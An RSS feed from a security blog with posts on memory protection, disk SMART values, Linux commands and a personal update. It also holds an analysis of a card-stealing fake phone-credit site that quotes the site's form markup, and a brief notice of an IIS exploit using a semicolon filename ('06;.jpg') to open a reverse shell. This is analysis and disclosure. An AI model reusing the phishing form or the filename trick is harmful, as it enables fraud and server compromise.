<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sec &#34;IP&#34; nix &#187; Others</title>
	<atom:link href="http://www.ugurengin.com/blog/category/ms-windows-server-systems/feed" rel="self" type="application/rss+xml" />
	<link>http://www.ugurengin.com/blog</link>
	<description>Uğur Engin</description>
	<lastBuildDate>Fri, 03 Feb 2012 23:00:47 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Heap Address Space Protection</title>
		<link>http://www.ugurengin.com/blog/heap-address-space-protection.html</link>
		<comments>http://www.ugurengin.com/blog/heap-address-space-protection.html#comments</comments>
		<pubDate>Sun, 30 Oct 2011 01:47:06 +0000</pubDate>
		<dc:creator>Uğur Engin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Others]]></category>
		<category><![CDATA[heap]]></category>
		<category><![CDATA[memory protection]]></category>
		<category><![CDATA[stack]]></category>

		<guid isPermaLink="false">http://www.ugurengin.com/blog/?p=1756</guid>
		<description><![CDATA[Unutma. Kaynak: SANS it is created one of the earlier security patches for the Linux kernel that addressed the problems created by an executable user stack area. This feature prevents attacks where a buffer overflow overwrites return pointers allowing an attacker to execute arbitrary code inserted into the stack. “This patch also changes the default [...]]]></description>
			<content:encoded><![CDATA[<p>Unutma.<br />
Kaynak: SANS</p>
<p>it is created one of the earlier security patches for the Linux kernel<br />
that addressed the problems created by an executable user stack area. This feature<br />
prevents attacks where a buffer overflow overwrites return pointers allowing an attacker<br />
to execute arbitrary code inserted into the stack. “This patch also changes the default<br />
address that shared libraries are mmap()&#8217;ed at to make it always contain a zero byte.<br />
This makes it impossible to specify any more data (parameters to the function, or more<br />
copies of the return address when filling with a pattern), &#8212; in many exploits that have to<br />
do with ASCIIZ strings.”(7) While an excellent strategy in buffer overflow prevention,<br />
this system only provides protection against these specific types of buffer overflows.<br />
These features are also only available for Linux kernels running on i386 architectures.<br />
Other (architecture independent) security enhancements provided by the x.</p>
<p>&nbsp;</p>
<a href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.ugurengin.com%2Fblog%2Fheap-address-space-protection.html&amp;t=Heap%20Address%20Space%20Protection" id="facebook_share_both_1756" style="font-size:11px; line-height:13px; font-family:'lucida grande',tahoma,verdana,arial,sans-serif; text-decoration:none; padding:2px 0 0 20px; height:16px; background:url(http://b.static.ak.fbcdn.net/images/share/facebook_share_icon.gif) no-repeat top left;">Share on Facebook</a>
	<script type="text/javascript">
	<!--
	var button = document.getElementById('facebook_share_link_1756') || document.getElementById('facebook_share_icon_1756') || document.getElementById('facebook_share_both_1756') || document.getElementById('facebook_share_button_1756');
	if (button) {
		button.onclick = function(e) {
			var url = this.href.replace(/share\.php/, 'sharer.php');
			window.open(url,'sharer','toolbar=0,status=0,width=626,height=436');
			return false;
		}
	
		if (button.id === 'facebook_share_button_1756') {
			button.onmouseover = function(){
				this.style.color='#fff';
				this.style.borderColor = '#295582';
				this.style.backgroundColor = '#3b5998';
			}
			button.onmouseout = function(){
				this.style.color = '#3b5998';
				this.style.borderColor = '#d8dfea';
				this.style.backgroundColor = '#fff';
			}
		}
	}
	-->
	</script>
	]]></content:encoded>
			<wfw:commentRss>http://www.ugurengin.com/blog/heap-address-space-protection.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Value Definitions of Disk S.M.A.R.T</title>
		<link>http://www.ugurengin.com/blog/value-definitions-of-disk-s-m-a-r-t.html</link>
		<comments>http://www.ugurengin.com/blog/value-definitions-of-disk-s-m-a-r-t.html#comments</comments>
		<pubDate>Mon, 24 Oct 2011 10:32:49 +0000</pubDate>
		<dc:creator>Uğur Engin</dc:creator>
				<category><![CDATA[Don't Forget]]></category>
		<category><![CDATA[Others]]></category>
		<category><![CDATA[disk raw values]]></category>
		<category><![CDATA[disk sector]]></category>
		<category><![CDATA[disk smart]]></category>
		<category><![CDATA[disk values]]></category>
		<category><![CDATA[s.m.a.r.t]]></category>

		<guid isPermaLink="false">http://www.ugurengin.com/blog/?p=1701</guid>
		<description><![CDATA[Disk S.M.A.R.T testleri esnasında dönen değerlerin disk içerisinde ne anlam ifade ettiğini güzelce açıklayan bir tablo.WD diskimi performans testlerine dahil ederken sıkça analiz ettiğim başlıklar. Paylaşmak istedim. Each SMART attribute indicates a certain characteristic of the drive and has its own value derived from a special normalization algorithm and formula. The attributes listed below are [...]]]></description>
			<content:encoded><![CDATA[<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="100%">
<h3>Disk S.M.A.R.T testleri esnasında dönen değerlerin disk içerisinde ne anlam ifade ettiğini güzelce açıklayan bir tablo.WD diskimi performans testlerine dahil ederken sıkça analiz ettiğim başlıklar.<br />
Paylaşmak istedim.</h3>
</td>
</tr>
</tbody>
</table>
<p>Each SMART attribute indicates a certain characteristic of the drive and has its own value derived from a special normalization algorithm and formula. The attributes listed below are specific to WD drives. Other drive manufacturers may have their own attribute definition.<br />
<span id="more-1701"></span></p>
<div align="center">
<table width="100%" border="0" cellpadding="0" bgcolor="white">
<tbody>
<tr>
<td valign="top" width="15%"><strong>RAW Read Error Rate </strong></td>
<td valign="top">This attribute indicates the average rate of read error retries.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>Spin Up Time</strong></td>
<td valign="top">This attribute indicates the average spin up time, which describes amount of time it took to spin the platters up to their rated rotation speed.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>Start/Stop Count</strong></td>
<td valign="top">This attribute indicates the amount of drive&#8217;s start/stop cycles.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>Reallocated Sector Count</strong></td>
<td valign="top">The attribute indicates the amount of bad sectors relocated to a spare area.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>Seek Error Rate</strong></td>
<td valign="top">This attribute indicates the average rate of seek errors.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>Power On Hour Count</strong></td>
<td valign="top">This attribute indicates how long the drive was working (powered on).</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>Spin Retry Count</strong></td>
<td valign="top">This attribute indicates the number of retry of drive spin up at power up.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>Calibration Retry Count</strong></td>
<td valign="top">This attribute indicates the number of retry of drive calibration after spin up.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>Power Cycle Count</strong></td>
<td valign="top">This attribute indicates the number of disk power cycles.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>Relocation Event Count</strong></td>
<td valign="top">This attribute indicates the number of times recalibration was requested.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>Current Pending Sector Count</strong></td>
<td valign="top">This attribute indicates the amount of sectors pending for relocation. Sectors with read or write errors are recorded and await relocations to spare sectors when next write commands are issued.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>Off-line Scan Uncorrectable Sector Count</strong></td>
<td valign="top">This attribute indicates the number of firmware uncorrectable error sectors detected during the last off-line scan.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>UltraDMA CRC Error Rate</strong></td>
<td valign="top">UDMA controller performs a CRC error checking on data while transferring between the host and HDD. Each time the error occurs, a retransmission is requested. This attribute indicates the average rate of the CRC errors.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>Multi Zone Error Rate</strong></td>
<td valign="top">This attribute indicates a rate at which write retries are requested.</td>
</tr>
<tr>
<td valign="top" width="15%"><strong>GMR Head Amp</strong></td>
<td valign="top">This attribute indicates the amplitude of GMR (Giant Magnetoresistive) head.</td>
</tr>
<tr>
<td valign="top" width="15%">
<h2>Temperature</h2>
</td>
<td valign="top">This attribute indicates the temperature for drives equipped with thermal sensor.</td>
</tr>
</tbody>
</table>
</div>
<a href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.ugurengin.com%2Fblog%2Fvalue-definitions-of-disk-s-m-a-r-t.html&amp;t=Value%20Definitions%20of%20Disk%20S.M.A.R.T" id="facebook_share_both_1701" style="font-size:11px; line-height:13px; font-family:'lucida grande',tahoma,verdana,arial,sans-serif; text-decoration:none; padding:2px 0 0 20px; height:16px; background:url(http://b.static.ak.fbcdn.net/images/share/facebook_share_icon.gif) no-repeat top left;">Share on Facebook</a>
	<script type="text/javascript">
	<!--
	var button = document.getElementById('facebook_share_link_1701') || document.getElementById('facebook_share_icon_1701') || document.getElementById('facebook_share_both_1701') || document.getElementById('facebook_share_button_1701');
	if (button) {
		button.onclick = function(e) {
			var url = this.href.replace(/share\.php/, 'sharer.php');
			window.open(url,'sharer','toolbar=0,status=0,width=626,height=436');
			return false;
		}
	
		if (button.id === 'facebook_share_button_1701') {
			button.onmouseover = function(){
				this.style.color='#fff';
				this.style.borderColor = '#295582';
				this.style.backgroundColor = '#3b5998';
			}
			button.onmouseout = function(){
				this.style.color = '#3b5998';
				this.style.borderColor = '#d8dfea';
				this.style.backgroundColor = '#fff';
			}
		}
	}
	-->
	</script>
	]]></content:encoded>
			<wfw:commentRss>http://www.ugurengin.com/blog/value-definitions-of-disk-s-m-a-r-t.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>En ideal listing komutu(ls)</title>
		<link>http://www.ugurengin.com/blog/en-ideal-listing-komutuls.html</link>
		<comments>http://www.ugurengin.com/blog/en-ideal-listing-komutuls.html#comments</comments>
		<pubDate>Thu, 09 Jun 2011 21:39:03 +0000</pubDate>
		<dc:creator>Uğur Engin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Others]]></category>
		<category><![CDATA[linux listing]]></category>
		<category><![CDATA[listing]]></category>
		<category><![CDATA[ls]]></category>

		<guid isPermaLink="false">http://www.ugurengin.com/blog/?p=1254</guid>
		<description><![CDATA[ls -lahtr &#124; grep install.txt &#38;&#38; echo &#8220;exit status $?&#8221; -rw-r&#8211;r&#8211;. 1 root root  55K Jun  9 03:20 install.txt -rw-r&#8211;r&#8211;. 1 root root  13K Jun  9 03:22 install.txt.gz -rw-r&#8211;r&#8211;. 1 root root  13K Jun  9 03:27 install.txt2.gz -rw-r&#8211;r&#8211;. 1 root root  15K Jun  9 03:42 install.txt3.gz exit status 0 Exit status: 0  if OK, 1  [...]]]></description>
			<content:encoded><![CDATA[<p>ls -lahtr | grep install.txt &amp;&amp; echo &#8220;exit status $?&#8221;</p>
<p>-rw-r&#8211;r&#8211;. 1 root root  55K Jun  9 03:20 install.txt<br />
-rw-r&#8211;r&#8211;. 1 root root  13K Jun  9 03:22 install.txt.gz<br />
-rw-r&#8211;r&#8211;. 1 root root  13K Jun  9 03:27 install.txt2.gz<br />
-rw-r&#8211;r&#8211;. 1 root root  15K Jun  9 03:42 install.txt3.gz</p>
<p>exit status 0</p>
<p>Exit status:<br />
0  if OK,<br />
1  if minor problems (e.g., cannot access subdirectory),<br />
2  if serious trouble (e.g., cannot access command-line argument).</p>
<p>l: listing format<br />
a : all<br />
h: print sizes in human readable format<br />
t: sort by modification time<br />
r: reverse order while sorting</p>
<a href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.ugurengin.com%2Fblog%2Fen-ideal-listing-komutuls.html&amp;t=En%20ideal%20listing%20komutu%28ls%29" id="facebook_share_both_1254" style="font-size:11px; line-height:13px; font-family:'lucida grande',tahoma,verdana,arial,sans-serif; text-decoration:none; padding:2px 0 0 20px; height:16px; background:url(http://b.static.ak.fbcdn.net/images/share/facebook_share_icon.gif) no-repeat top left;">Share on Facebook</a>
	<script type="text/javascript">
	<!--
	var button = document.getElementById('facebook_share_link_1254') || document.getElementById('facebook_share_icon_1254') || document.getElementById('facebook_share_both_1254') || document.getElementById('facebook_share_button_1254');
	if (button) {
		button.onclick = function(e) {
			var url = this.href.replace(/share\.php/, 'sharer.php');
			window.open(url,'sharer','toolbar=0,status=0,width=626,height=436');
			return false;
		}
	
		if (button.id === 'facebook_share_button_1254') {
			button.onmouseover = function(){
				this.style.color='#fff';
				this.style.borderColor = '#295582';
				this.style.backgroundColor = '#3b5998';
			}
			button.onmouseout = function(){
				this.style.color = '#3b5998';
				this.style.borderColor = '#d8dfea';
				this.style.backgroundColor = '#fff';
			}
		}
	}
	-->
	</script>
	]]></content:encoded>
			<wfw:commentRss>http://www.ugurengin.com/blog/en-ideal-listing-komutuls.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Neler Yapıyorum? Neler Okuyorum, Ne Olmuştu?</title>
		<link>http://www.ugurengin.com/blog/neler-yapiyorum-neler-okuyorum-ne-olmustu.html</link>
		<comments>http://www.ugurengin.com/blog/neler-yapiyorum-neler-okuyorum-ne-olmustu.html#comments</comments>
		<pubDate>Wed, 15 Dec 2010 22:21:13 +0000</pubDate>
		<dc:creator>Uğur Engin</dc:creator>
				<category><![CDATA[Others]]></category>
		<category><![CDATA[ferruh mavituna]]></category>
		<category><![CDATA[IT Kariyer]]></category>
		<category><![CDATA[IT Seminer]]></category>
		<category><![CDATA[uğur engin]]></category>

		<guid isPermaLink="false">http://www.ugurengin.com/blog/?p=1107</guid>
		<description><![CDATA[Ne Olmuştu? İngiltereye gitmeden hemen önce, Genç Girişimciler Kulübünde &#8220;IT SEKTÖRÜNDE KİŞİSEL GELİŞİM VE KARİYER&#8221; isimli Ferruh Mavituna&#8217;nın konuşmacı olarak bulunduğu (tek konuşmacı oydu) bir akşam saati düzenlenen seminere gitmiştim.Kendisini keyifle dinlemiş, Netsparker&#8216;a gelene kadar neler olduğunu ve diğer yaşamıyla alakalı konuları ele alarak ders çıkarılabilecek yanların üzerinde durmuştu.Fakat asıl sormak istediğim çok deep soruları [...]]]></description>
			<content:encoded><![CDATA[<h3>Ne Olmuştu?</h3>
<p>İngiltereye gitmeden hemen önce, Genç Girişimciler Kulübünde &#8220;<a href="http://www.gencgirisimciler.org/bpi.asp?cid=784&amp;caid=311" target="_blank">IT SEKTÖRÜNDE KİŞİSEL GELİŞİM VE KARİYER</a>&#8221; isimli Ferruh Mavituna&#8217;nın konuşmacı olarak bulunduğu (tek konuşmacı oydu) bir akşam saati düzenlenen seminere gitmiştim.Kendisini keyifle dinlemiş, <a href="http://www.mavitunasecurity.com/netsparker/" target="_blank">Netsparker</a>&#8216;a gelene kadar neler olduğunu ve diğer yaşamıyla alakalı konuları ele alarak ders çıkarılabilecek yanların üzerinde durmuştu.Fakat asıl sormak istediğim çok deep soruları kendisine ileteme gibi acıklı bir durum&#8217;da olmuştu .Seminer bitiminde kendisiyle kısa bir soyleyişimiz oldu ve bu söyleşi genel olarak, yakın bir zamanda İngiltere&#8217;de bulunacağımı ve oradayken kendisini de ziyaret etmek yönündeydi.Daha sonra uzak lokasyonlarda olduğumuzdan maalesef görüşememiştik.Bugün tesadüfen ilgili seminer sonrası çekilen bir kareyi gördüm.</p>
<p style="text-align: center;"><img class="aligncenter" title="Ugur Engin-Ferruh Mavituna" src="http://www.ugurengin.com/blog/img/genc_girisimciler_seminer.jpg" alt="" width="450" height="338" /></p>
<h3><strong>Neler Okuyorum ?</strong></h3>
<p>Şu sıralar  İskender Pala&#8217;nın,  <strong>Şah&amp;Sultan</strong> isimli tarihe ışık tutan her cümlesini keyifle sindirdiğim yeni eserini okuyorum<strong>.</strong>Hemen sonra,<strong>&#8220;Sockets, Shellcode, Porting, and Coding: Reverse Engineering Exploits and Tool Coding for Security Professionals</strong>&#8221; isimli kitabı okumayı düşünüyorum.</p>
<p><img class="alignnone" src="http://ecx.images-amazon.com/images/I/51rXZMHDs6L._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA300_SH20_OU01_.jpg" alt="" width="162" height="141" /><strong><img class="alignleft" src="http://www.ugurengin.com/blog/img/sah_sultan.jpg" alt="" width="93" height="133" /></strong></p>
<p>Ve ardından aşağıdaki şu 2 kitabı okuyacağım,<br />
<strong></strong><strong><br />
-Securing &amp; Optimizing Linux: The Hacking Solution</strong></p>
<p><strong><img class="alignleft" src="http://ecx.images-amazon.com/images/I/51Y4SMDR5WL._SL500_AA300_.jpg" alt="" width="134" height="134" /></strong></p>
<h3><strong><br />
</strong></h3>
<h3><strong> </strong><strong> </strong></h3>
<p>&nbsp;</p>
<h3><strong>Neler Yapıyorum?</strong></h3>
<p>Haftada 2 gün akşama doğru olimpik bir havuzda yüzüyor,cuma/cumartesi geceleri Vulnerability Assessment testler yapıyor,her gün vulnerability rss feedleri kontrol ediyor,researching yapıyor, bloğum için bir şeyler yazmaya çalışıyor ve hafta sonu çok sevdiğim biriyle bir kaç saat vakit geçiriyorum.Bunun yanında hazır e-book siteler keşfetmişken (Harun&#8217;a teşekkürler) yeni model bir Kindle almayı düşünüyorum.<strong> </strong></p>
<p>Amazon üzerinden sipariş ettiğim RHCE Exam hazırlık kitabım.</p>
<p><strong>-RHCE Red Hat Certified Engineer Linux Study Guide (Exam RH302) (Certification Press) </strong><strong> </strong></p>
<p><strong><img class="alignleft" src="https://images-na.ssl-images-amazon.com/images/I/51nRVJrRAIL._SY100_.jpg" alt="" width="80" height="100" /><br />
</strong></p>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 829px; width: 1px; height: 1px; overflow: hidden;"><a class="spell noline" href="http://www.google.com/search?hl=en&amp;&amp;sa=X&amp;ei=ZDgJTZ-9DoaW8QOk7KAp&amp;ved=0CBoQBSgA&amp;q=assessment&amp;spell=1"><strong><em>assessment</em></strong></a></div>
<a href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.ugurengin.com%2Fblog%2Fneler-yapiyorum-neler-okuyorum-ne-olmustu.html&amp;t=Neler%20Yap%C4%B1yorum%3F%20Neler%20Okuyorum%2C%20Ne%20Olmu%C5%9Ftu%3F" id="facebook_share_both_1107" style="font-size:11px; line-height:13px; font-family:'lucida grande',tahoma,verdana,arial,sans-serif; text-decoration:none; padding:2px 0 0 20px; height:16px; background:url(http://b.static.ak.fbcdn.net/images/share/facebook_share_icon.gif) no-repeat top left;">Share on Facebook</a>
	<script type="text/javascript">
	<!--
	var button = document.getElementById('facebook_share_link_1107') || document.getElementById('facebook_share_icon_1107') || document.getElementById('facebook_share_both_1107') || document.getElementById('facebook_share_button_1107');
	if (button) {
		button.onclick = function(e) {
			var url = this.href.replace(/share\.php/, 'sharer.php');
			window.open(url,'sharer','toolbar=0,status=0,width=626,height=436');
			return false;
		}
	
		if (button.id === 'facebook_share_button_1107') {
			button.onmouseover = function(){
				this.style.color='#fff';
				this.style.borderColor = '#295582';
				this.style.backgroundColor = '#3b5998';
			}
			button.onmouseout = function(){
				this.style.color = '#3b5998';
				this.style.borderColor = '#d8dfea';
				this.style.backgroundColor = '#fff';
			}
		}
	}
	-->
	</script>
	]]></content:encoded>
			<wfw:commentRss>http://www.ugurengin.com/blog/neler-yapiyorum-neler-okuyorum-ne-olmustu.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Online Kontor ve Kredi Karti Hirsizligi</title>
		<link>http://www.ugurengin.com/blog/online-kontor-ve-kredi-karti-hirsizligi.html</link>
		<comments>http://www.ugurengin.com/blog/online-kontor-ve-kredi-karti-hirsizligi.html#comments</comments>
		<pubDate>Fri, 24 Sep 2010 22:58:34 +0000</pubDate>
		<dc:creator>Uğur Engin</dc:creator>
				<category><![CDATA[Others]]></category>
		<category><![CDATA[Credi Cart Stealing]]></category>
		<category><![CDATA[Kredi Kartı Güvenliği]]></category>
		<category><![CDATA[online hırsızlık]]></category>
		<category><![CDATA[online kontör]]></category>
		<category><![CDATA[phishing]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=716</guid>
		<description><![CDATA[Günümüz de  bir çok işlemin internet üzerinden yapilmasi ve internet bankacılığı kullanımının giderek yaygınlaşması bu durumu istismar etmeye çalışan kötü niyetli kişileri de  farklı saldırı seneryoları geliştirmeye yöneltiyor.Kredi kartı dolandırıcılarının son hızla daha farklı saldırı metotları geliştirerek Google ile ortaya çıktıklarına tanık oldum.Hedef kitle, internet üzerinden telefon hattına kontör aktarmak isteyen kullanıcılar ve  dolayısıyla istismar [...]]]></description>
			<content:encoded><![CDATA[<p>Günümüz de  bir çok işlemin internet üzerinden yapilmasi ve internet bankacılığı kullanımının giderek yaygınlaşması bu durumu istismar etmeye çalışan kötü niyetli kişileri de  farklı saldırı seneryoları geliştirmeye yöneltiyor.Kredi kartı dolandırıcılarının son hızla daha farklı saldırı metotları geliştirerek Google ile ortaya çıktıklarına tanık oldum.Hedef kitle, internet üzerinden telefon hattına kontör aktarmak isteyen kullanıcılar ve  dolayısıyla istismar edilen telekomünikasyon firmaları. Olay tamamıyla legal bir ortamda gercekleşiyor. Arama motorlarında; online kontor,kontör gibi kelimeler  aratıldığında ilk sayfada  yer alan bazı sitelerin belirtilen amaçtan(sağlanması gereken hizmet) tamamıyla uzak. Bu kişiler, hazırladıkları sahte web sitelerini arama motorlarında, özel kelimeler ile en üst sıralar da çıkarmak için Google&#8217;nin ücretli servislerin den olan Adwords&#8217;u de  kullanıyorlar.</p>
<p style="text-align: center;"><a href="http://ugurengin.com/blog/img/online-kontor.jpg" rel="lightbox[716]"><img class="aligncenter" src="http://ugurengin.com/blog/img/online-kontor.jpg" alt="" width="552" height="152" /></a></p>
<p>Yukarıdaki resimde göreceğiniz domain, bahsettiğimiz kötü amaca hizmet ediyordu.İlgili siteye giriş yapıldığında öncelikle kullanıcının güvenli bir platform üzerinde olduğu izlenimi veriliyor. Zira ziyaret edilen sitenin SSL sertifikasına sahip olduğu hatta online kontor alımı sırasında 3D gibi opsiyonel bir baska guvenli alisveris seceneginin de olduğu belirtilmiş.<span id="more-716"></span></p>
<p style="text-align: center;"><a href="http://www.ugurengin.com/blog/img/online-kontor2.jpg" rel="lightbox[716]"><img class="aligncenter" src="http://www.ugurengin.com/blog/img/online-kontor2.jpg" alt="" width="390" height="324" /></a></p>
<p>SSL ve buna paralel olarak 3D mekanizmaları&#8217;nın etkin olmadığını ilgili sitenin kaynak kodlarına erişip inceleme fırsatı  buldugum da gördüm.Kullanıcılar dan edinilen özel bilgilerin, gmail smtp sunucusuna  ait bir e-posta adresine gönderiliyor.</p>
<p>OpenSSL ile ilgili domainin, www ve http kayitlarinin SSL uzerinden calisip calismadigini anlamak icin openssl&#8217;in klasik 2 komutunu kullandim. Sonuç: Parallels firmasina ait dijital sertifika bilgileri dönüyor.  :)</p>
<p><span style="color: #000000;">ugur@localroot:~/labuser$</span><strong> openssl s_client -connect</strong> <strong>onlinetlyukleme.com:443</strong><br />
<span style="color: #000000;">ugur@localroot:~/labuser$</span><strong> openssl s_client -connect www.onlinetlyukleme.com:443</strong></p>
<p><span style="color: #008000;"><span style="color: #800000;">depth=0 /C=US/ST=Virginia/L=Herndon/O=Parallels, Inc./OU=Plesk/CN=plesk/emailAddress=info@parallels.com<br />
verify error:num=18:self signed certificate<br />
verify return:1<br />
depth=0 /C=US/ST=Virginia/L=Herndon/O=Parallels, Inc./OU=Plesk/CN=plesk/emailAddress</span><span style="color: #ff0000;">=<strong>info@parallels.com<br />
verify return:1</strong></span><br />
<span style="color: #800000;">&#8212;</span><br />
<span style="color: #800000;">Certificate chain<br />
0 s:/C=US/ST=Virginia/L=Herndon/O</span><span style="color: #ff0000;">=<strong>Parallels, Inc</strong></span><strong>.</strong><span style="color: #800000;">/OU=Plesk/CN=plesk/emailAddress=info@parallels.com</span><br />
<span style="color: #800000;">i:/C=US/ST=Virginia/L=Herndon/O=Parallels, Inc./OU=Plesk/CN=plesk/emailAddress=info@parallels.com<br />
&#8212;<br />
Server certificate</span></span></p>
<p><span style="color: #000000;">Kontor almak istediginiz de acilan sayfa <span style="text-decoration: underline;"><span style="color: #339966;">http</span></span> protokolu uzerinden çalışıyor  ve sizleri <span style="text-decoration: underline;"><span style="color: #339966;">https</span></span> protokolu uzerine yonlenmenizi tetikleyecek bir mekanizma da sağlanmamış.Bu sebeple  aradaki trafik clear text olarak  donuyor. Bunun yanın da, kredi kartı ve diğer önemli bilgilerin girildiği sayfayı manuel olarak https uzerinden cağırdığımız da  zaten ilgili domaine ait gecerli bir SSL sertifikasi&#8217;nin bulunmadigini goruyoruz.</span><br />
Yani domain, kendine ait olan bir sertifika ile SSL protokolu uzerinden zaten çalışmıyor.<br />
<strong><span style="color: #008000;"><br />
</span></strong></p>
<p style="text-align: center;"><span style="color: #008000;"><a href="http://www.ugurengin.com/blog/img/online-kontor3.jpg" rel="lightbox[716]"><img class="aligncenter" src="http://www.ugurengin.com/blog/img/online-kontor3.jpg" alt="" width="473" height="309" /></a></span></p>
<p style="text-align: left;">Bu olay, kontol ettigim bir sunucu&#8217;da gerçekleştiği için kaynak kodlarini inceleme firsatim oldu.Şimdi,kullanıcılardan kart bilgilerini alip yazili ifadelerle kontör gönderdiğini iddia eden platformun en kritik sayfasina ait kaynak kodlarina bakalım. (yukle.php)</p>
<p style="text-align: left;"><span style="color: #008000;">&lt;DIV id=page&gt;&lt;IMG height=98 alt=&#8221;" src=&#8221;images/garanti_.jpg&#8221; width=543<br />
vspace=15&gt;<br />
&lt;DIV id=tablo&gt;<br />
&lt;TABLE cellSpacing=0 cellPadding=5 width=520 border=0&gt;<br />
&lt;FORM name=requestForm onsubmit=&#8221;return formKontrol(this);&#8221;</span><span style="color: #ff0000;"><strong></strong>action=gonder.php <span style="color: #008000;">method=post&gt;</span></span></p>
<p style="text-align: left;">Girilen tüm bilgiler, gonder.php isimli bir diğer sayfaya post ediliyor.</p>
<p style="text-align: left;"><span style="color: #ff0000;"><span style="color: #008000;"><span style="color: #000000;">Hemen, gonder.php isimli sayfaninin kaynak kodlarini açalım ve bingo! lütfen tanimlanan değişkenlere dikkatle göz gezdiriniz.<br />
</span><br />
</span></span></p>
<p style="text-align: center;"><span style="color: #ff0000;"><span style="color: #008000;"><a href="http://www.ugurengin.com/blog/img/gonder.png" rel="lightbox[716]"><img class="aligncenter" src="http://www.ugurengin.com/blog/img/gonder.png" alt="" width="269" height="379" /></a></span></span>Fakat tüm bu görülenler saldırı konseptinin amatörce hazırlanmış oldugunu ortaya koyuyor.Dikkat edilirse, web üzerinden email gonderen bir script inputlara girilen değerleri bir email adresine gonderiyor ,fakat ilgili sitenin host edildiği sunucu  güvenlik gerekceleri sebebiyle buna benzer public email gonderimlere kapalı öncelikle smtp protokolu doğrulama mekanizmasinin ilgili yazilimda set edilmesi gerekirdi.(Malesef birçok smtp sunucusu bu tur public gonderimlere açık) Bunun yanında herhangi bir algoritma tekniği ile kodlar encrypt de edilmemis.Muhtemelen bu script, paralı veya bir yerde public edilmis&#8217;ki. Bu denli ameleler&#8217;de  ( toplumda dolandırıcı ve/veya hırsız olarak tanimlanan kimselerce) temin edip kullanabiliyor.</p>
<a href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.ugurengin.com%2Fblog%2Fonline-kontor-ve-kredi-karti-hirsizligi.html&amp;t=Online%20Kontor%20ve%20Kredi%20Karti%20Hirsizligi" id="facebook_share_both_716" style="font-size:11px; line-height:13px; font-family:'lucida grande',tahoma,verdana,arial,sans-serif; text-decoration:none; padding:2px 0 0 20px; height:16px; background:url(http://b.static.ak.fbcdn.net/images/share/facebook_share_icon.gif) no-repeat top left;">Share on Facebook</a>
	<script type="text/javascript">
	<!--
	var button = document.getElementById('facebook_share_link_716') || document.getElementById('facebook_share_icon_716') || document.getElementById('facebook_share_both_716') || document.getElementById('facebook_share_button_716');
	if (button) {
		button.onclick = function(e) {
			var url = this.href.replace(/share\.php/, 'sharer.php');
			window.open(url,'sharer','toolbar=0,status=0,width=626,height=436');
			return false;
		}
	
		if (button.id === 'facebook_share_button_716') {
			button.onmouseover = function(){
				this.style.color='#fff';
				this.style.borderColor = '#295582';
				this.style.backgroundColor = '#3b5998';
			}
			button.onmouseout = function(){
				this.style.color = '#3b5998';
				this.style.borderColor = '#d8dfea';
				this.style.backgroundColor = '#fff';
			}
		}
	}
	-->
	</script>
	]]></content:encoded>
			<wfw:commentRss>http://www.ugurengin.com/blog/online-kontor-ve-kredi-karti-hirsizligi.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IIS ASP Multiple Extensions Remote Exploit</title>
		<link>http://www.ugurengin.com/blog/iis-asp-multiple-extensions-remote-0day-exploit.html</link>
		<comments>http://www.ugurengin.com/blog/iis-asp-multiple-extensions-remote-0day-exploit.html#comments</comments>
		<pubDate>Sun, 10 Jan 2010 14:32:38 +0000</pubDate>
		<dc:creator>Uğur Engin</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Others]]></category>
		<category><![CDATA[IIS 0DAY]]></category>
		<category><![CDATA[IIS6 Vulnerable]]></category>
		<category><![CDATA[Oday]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=427</guid>
		<description><![CDATA[Windows IIS sunucular üzerinde ciddi bir güvenlik açığı yayınlandı.İlgili exploit araciligiyla olusturulabilecek bir malicious  dosyası(06;.jpg) , IIS sunucu(5,6) üzerinde çalıştırıldığında sunucunun Outgoing den, atacker&#8217;in source&#8217;sine doğru 31337. portun açılmasınına sebep oluyor.Daha sonra  doğru payload&#8217;ı kullanabilecek kişi,  sunucu üzerinden shell alabiliyor. Patch cozumu gelistirmek icin ilgili exploiti virtual bir Windows Server da test ettim. Shellcode / [...]]]></description>
